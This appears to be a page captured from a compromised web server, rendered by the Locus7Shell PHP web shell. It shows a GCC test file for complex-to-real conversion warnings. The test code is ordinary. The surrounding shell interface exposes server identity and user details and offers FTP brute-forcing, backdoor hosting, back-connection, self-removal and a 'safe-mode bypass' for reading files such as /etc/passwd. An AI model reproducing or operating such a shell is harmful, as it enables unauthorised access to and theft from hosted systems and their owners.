Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wconversion-complex-c99.c (4.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR c/48956: Test for diagnostics for implicit conversions from complex
   to real types and narrowing conversions of complex types.  */

/* Architecture restrictions taken from Wconversion-real-integer.c.
   Likewise, the magic value 16777217.  */

/* { dg-do compile } */
/* { dg-skip-if "doubles are floats,ints are 16bits" { "avr-*-*" } } */
/* { dg-options " -std=c99 -pedantic -Wconversion " } */
/* { dg-require-effective-target int32plus } */
/* { dg-require-effective-target double64plus } */

/* A number which does not fit into float.  */
#define MAX_FLOAT_PLUS 16777217.

/* Other types could be added, but that won't affect test coverage.  */
void ffloatc (float _Complex);
void fdoublec (double _Complex);

void ffloat (float);
void fdouble (double);

void fsi (int);
void fui (unsigned);

float _Complex vfloatc;
double _Complex vdoublec;

float vfloat;
double vdouble;

int vsi;
unsigned vui;

/* Check implicit conversions of complex values to reals.  */
void
var_complex_to_real (void)
{
  float _Complex floatc = 0.;
  double _Complex doublec = 0.;

  ffloatc (floatc);
  fdoublec (doublec);
  vfloatc = floatc;
  vdoublec = doublec;

  ffloat (floatc); /* { dg-warning "conversion" } */
  fdouble (floatc); /* { dg-warning "conversion" } */
  vfloat = floatc; /* { dg-warning "conversion" } */
  vdouble = floatc; /* { dg-warning "conversion" } */

  ffloat (doublec); /* { dg-warning "conversion" } */
  fdouble (doublec); /* { dg-warning "conversion" } */
  vfloat = doublec; /* { dg-warning "conversion" } */
  vdouble = doublec; /* { dg-warning "conversion" } */
}

/* Check implicit narrowing conversions of complex values.  */
void
var_complex_narrowing (void)
{
  float _Complex floatc = 0.;
  double _Complex doublec = 0.;

  vdoublec = floatc;
  vfloatc = doublec; /* { dg-warning "conversion from .complex double. to .complex float. may change value" } */

  fdoublec (floatc);
  ffloatc (doublec); /* { dg-warning "conversion from .complex double. to .complex float. may change value" } */
}

/* Check implicit conversions of complex values to integers.  */
void
var_complex_to_int (void)
{
  float _Complex floatc = 0.;
  double _Complex doublec = 0.;

  fsi (floatc); /* { dg-warning "conversion" } */
  fui (floatc); /* { dg-warning "conversion" } */
  vsi = floatc; /* { dg-warning "conversion" } */
  vui = floatc; /* { dg-warning "conversion" } */

  fsi (doublec); /* { dg-warning "conversion" } */
  fui (doublec); /* { dg-warning "conversion" } */
  vsi = doublec; /* { dg-warning "conversion" } */
  vui = doublec; /* { dg-warning "conversion" } */
}

/* Check implicit conversion of constant complex values to floats.  */
void
const_complex_to_real (void)
{
  ffloat (__builtin_complex (0., 1.)); /* { dg-warning "conversion" } */
  fdouble (__builtin_complex (0., 1.)); /* { dg-warning "conversion" } */

  vfloat = __builtin_complex (0., 1.); /* { dg-warning "conversion" } */
  vdouble = __builtin_complex (0., 1.); /* { dg-warning "conversion" } */

  vfloat = __builtin_complex (1., 0.) + __builtin_complex (1., 0.);
  vdouble = __builtin_complex (0., 0.) * __builtin_complex (1., 1.);
  ffloat (__builtin_complex (1., 0.) + __builtin_complex (1., 0.));
  fdouble (__builtin_complex (1., 0.) + __builtin_complex (1., 0.));

  vfloat = __builtin_complex (MAX_FLOAT_PLUS, 0.); /* { dg-warning "float-conversion" } */
  ffloat (__builtin_complex (MAX_FLOAT_PLUS, 0.)); /* { dg-warning "float-conversion" } */
}

/* Check implicit conversion of constant complex values to integers.  */
void
const_complex_to_int (void)
{
  vsi = __builtin_complex (-1., 0.);
  vui = __builtin_complex (1., 0.);
  fsi (__builtin_complex (-1., 0.));
  fui (__builtin_complex (1., 0.));

  vui = __builtin_complex (-1., 0.); /* { dg-warning "overflow" } */
  fui (__builtin_complex (-1., 0.)); /* { dg-warning "overflow" } */

  vsi = __builtin_complex (0.5, 0.); /* { dg-warning "float-conversion" } */
  fui (__builtin_complex (0.5, 0.)); /* { dg-warning "float-conversion" } */

  vsi = __builtin_complex (-0.5, 0.); /* { dg-warning "float-conversion" } */
  fui (__builtin_complex (-0.5, 0.)); /* { dg-warning "float-conversion" } */
}

/* Check implicit narrowing conversion of constant complex values to.  */
void
const_complex_narrowing (void)
{
  ffloatc (__builtin_complex (-100., 100.));

  ffloatc (__builtin_complex (MAX_FLOAT_PLUS, 0.)); /* { dg-warning "float-conversion" } */
  ffloatc (__builtin_complex (0., MAX_FLOAT_PLUS)); /* { dg-warning "float-conversion" } */
  ffloatc (__builtin_complex (MAX_FLOAT_PLUS, MAX_FLOAT_PLUS)); /* { dg-warning "float-conversion" } */
}


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]--